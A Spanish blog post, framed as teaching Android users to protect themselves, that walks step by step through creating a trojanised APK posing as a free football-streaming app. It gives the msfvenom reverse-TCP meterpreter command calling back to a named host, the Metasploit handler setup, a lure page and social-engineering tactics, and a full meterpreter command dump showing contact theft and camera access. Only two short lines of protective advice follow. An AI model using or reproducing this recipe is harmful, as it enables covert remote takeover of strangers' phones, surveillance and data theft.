¿Quieres ver cómo hackeo un Android? Te enseño a evitar que te lo hagan
¿Has instalado en tu Android alguna aplicación que no estuviera en la tienda de Google?
¿Tienes alguna aplicación que te permita usar un servicio de pago pero sin pagarlo?
Ya me entiendes, Spotify Premium sin pagarlo, ves el fútbol en tu móvil sin pagar el fútbol, una aplicación que te permite ver Netflix sin pagar...
Seguro que tú no, pero tienes algún amigo que sí.
Esto te interesa.
Te voy a enseñar cómo puedo entrar en tu móvil Android a distancia, no necesito tocar tu móvil ni conectarle cables... nada.
Entro en tu móvil estando tú en el sofá de tu casa.
No voy a instalarte el Pegasus, es menos sofisticado, pero igualmente lo vas a flipar.
Por cierto, si quieres saber que es el Pegasus escribí un artículo donde te cuento qué es e incluso te doy su manual de instrucciones.
Software de espionaje Pegasus 📱
Es increíble lo que Pegasus puede sacar de tu móvil 🤯
¿Cómo voy entrar en un Android conectado a internet?
Voy a programar una aplicación para Android (archivo apk) que sea atractiva para alguna víctima.
No sé, por ejemplo, una aplicación para ver GRATIS el fútbol en el móvil.
Lo de gratis suele funcionar muy bien.
La aplicación no sería compleja, un frontend vistoso que enlace imágenes a listas IPTV.
Esa aplicación será mi caballo de Troya, dentro meteré un código que se aprovechará de una vulnerabilidad de Android para darme acceso total a tu móvil.
Mi aplicación maliciosa la serviré desde me equipo con Kali Linux.
Para que funcione tendré que redireccionar algunos puertos de mi router, pero no me quiero meter a tanta profundidad.
O sí, si te interesa me lo dices.
Un poquito de ingeniería social para que te instales la aplicación y ya estás cazado.
Pasos que voy a seguir para hackear un Android conectado a internet
Antes de nada voy a levantar el contenedor de Docker de mi Kali Linux.
Es un contenedor que tiene como base la distribución oficial de Kali Linux y que me voy tuneando a medida que voy necesitando.
Antes usaba una memoria USB con el Kali instado, pero alguna vez la memoria se ha estropeado y era una pérdida de tiempo volver a tener que crearla.
Cómo lo hago ahora es con Docker, mola.
El programa (apk) que voy a programar creará en las bambalinas una conexión reversa desde el Android infectado a mi Kali Linux.
Voy a usar msfvenom
.
Es una herramienta incluida en el paquete de Metasploit
Si lo que te he dicho antes te suena a chino pasa de ello.
El comando que he usado es msfvenom -p android/meterpreter/reverse_tcp LHOST=androidfjmduranhacked.no-ip.org LPORT=4444 R /var/www/html/testfjmduran.apk
Si te fijas, junto al apk he creado un fichero inicio.html
Ese fichero sería la página desde la que la víctima se descargará el fichero malicioso.
Te la tienes que currar para que sea atractiva e incite a descargar el apk
A continuación:
msfconsole -q
; se encargará de gestionar la conexiones desde el Android infectadouse exploit/multi/handler
; comando que explotará vulnerabilidadesset payload android/meterpreter/reverse_tcp
show options
Con lo pasos anteriores llegaremos aquí:
Si te fijas, el puerto está configurado, en este caso el 4444 pero el host no.
El host será la IP de nuestro equipo, de nuestro Kali.
Para ello set LHOST tu-direccion-ip
Si no sabes tu IP pues la buscas con ifconfig
Por último nos ponemos a escuchar la peticiones con exploit
A partir de aquí nos toca tirar de ingenio.
Nos toca hacer ingeniería social para que la víctime se descargue e instale el apk.
Podemos poner el link en Telegram, en un foro...
¿Recuerdas el fichero inicio.html que se generó junto al apk?
Pues ese lo usaremos como página web para servir nuestro apk
La url que le pasaremos a la víctima será http://androidfjmduranhacked.no-ip.org/inicio.html
Si hacemos clic en el enlace para descargar instalaremos el apk.
Android nos da el siguiente aviso:
Aceptas todo los permisos.
Si te dice que es una APP maliciosa tu le dices que te da igual, que continue.
Una vez que hayas instalado la APK ya se establecerá la conexión con tu Kali.
Si escribes el comando help
podrás ver todo lo que podemos hacer.
meterpreter > help Core Commands ============= Command Description ------- ----------- ? Help menu background Backgrounds the current session bg Alias for background bgkill Kills a background meterpreter script bglist Lists running background scripts bgrun Executes a meterpreter script as a background thread channel Displays information or control active channels close Closes a channel detach Detach the meterpreter session (for http/https) disable_unicode_encoding Disables encoding of unicode strings enable_unicode_encoding Enables encoding of unicode strings exit Terminate the meterpreter session get_timeouts Get the current session timeout values guid Get the session GUID help Help menu info Displays information about a Post module irb Open an interactive Ruby shell on the current session load Load one or more meterpreter extensions machine_id Get the MSF ID of the machine attached to the session pry Open the Pry debugger on the current session quit Terminate the meterpreter session read Reads data from a channel resource Run the commands stored in a file run Executes a meterpreter script or Post module secure (Re)Negotiate TLV packet encryption on the session sessions Quickly switch to another session set_timeouts Set the current session timeout values sleep Force Meterpreter to go quiet, then re-establish session transport Manage the transport mechanisms use Deprecated alias for "load" uuid Get the UUID for the current session write Writes data to a channel Stdapi: File system Commands ============================ Command Description ------- ----------- cat Read the contents of a file to the screen cd Change directory checksum Retrieve the checksum of a file cp Copy source to destination del Delete the specified file dir List files (alias for ls) download Download a file or directory edit Edit a file getlwd Print local working directory getwd Print working directory lcd Change local working directory lls List local files lpwd Print local working directory ls List files mkdir Make directory mv Move source to destination pwd Print working directory rm Delete the specified file rmdir Remove directory search Search for files upload Upload a file or directory Stdapi: Networking Commands =========================== Command Description ------- ----------- ifconfig Display interfaces ipconfig Display interfaces portfwd Forward a local port to a remote service route View and modify the routing table Stdapi: System Commands ======================= Command Description ------- ----------- execute Execute a command getenv Get one or more environment variable values getuid Get the user that the server is running as localtime Displays the target system local date and time pgrep Filter processes by name ps List running processes shell Drop into a system command shell sysinfo Gets information about the remote system, such as OS Stdapi: User interface Commands =============================== Command Description ------- ----------- screenshare Watch the remote user desktop in real time screenshot Grab a screenshot of the interactive desktop Stdapi: Webcam Commands ======================= Command Description ------- ----------- record_mic Record audio from the default microphone for X seconds webcam_chat Start a video chat webcam_list List webcams webcam_snap Take a snapshot from the specified webcam webcam_stream Play a video stream from the specified webcam Stdapi: Audio Output Commands ============================= Command Description ------- ----------- play play a waveform audio file (.wav) on the target system Android Commands ================ Command Description ------- ----------- activity_start Start an Android activity from a Uri string check_root Check if device is rooted dump_calllog Get call log dump_contacts Get contacts list dump_sms Get sms messages geolocate Get current lat-long using geolocation hide_app_icon Hide the app icon from the launcher interval_collect Manage interval collection capabilities send_sms Sends SMS from target session set_audio_mode Set Ringer Mode sqlite_query Query a SQLite database from storage wakelock Enable/Disable Wakelock wlan_geolocate Get current lat-long using WLAN information Application Controller Commands =============================== Command Description ------- ----------- app_install Request to install apk file app_list List installed apps in the device app_run Start Main Activty for package name app_uninstall Request to uninstall application meterpreter >
- Es una locura...
- Puedo descargar tus archivos como fotos, vídeos...
- Puedo descargar tus contactos
dump_contacts
- Puedo ver todas tus cámaras con
webcam_list
y después conwebcam_stream -i 1
abrir la cámara etiquetada como 1 que normalmente es la trasera. - Puedo instalar aplicaciones en tu Android
- ...
¿Qué no debes hacer nunca para estar protegido?
- Nunca bajes APP que no estén en las tiendas oficiales o de las que no te fíes.
- Omitir las actualizaciones de Android. Es muy importante tener nuestros dispositivos actualizados porque corrigen vulnerabilidades como la que te he mostrado.
Hasta luego 🖖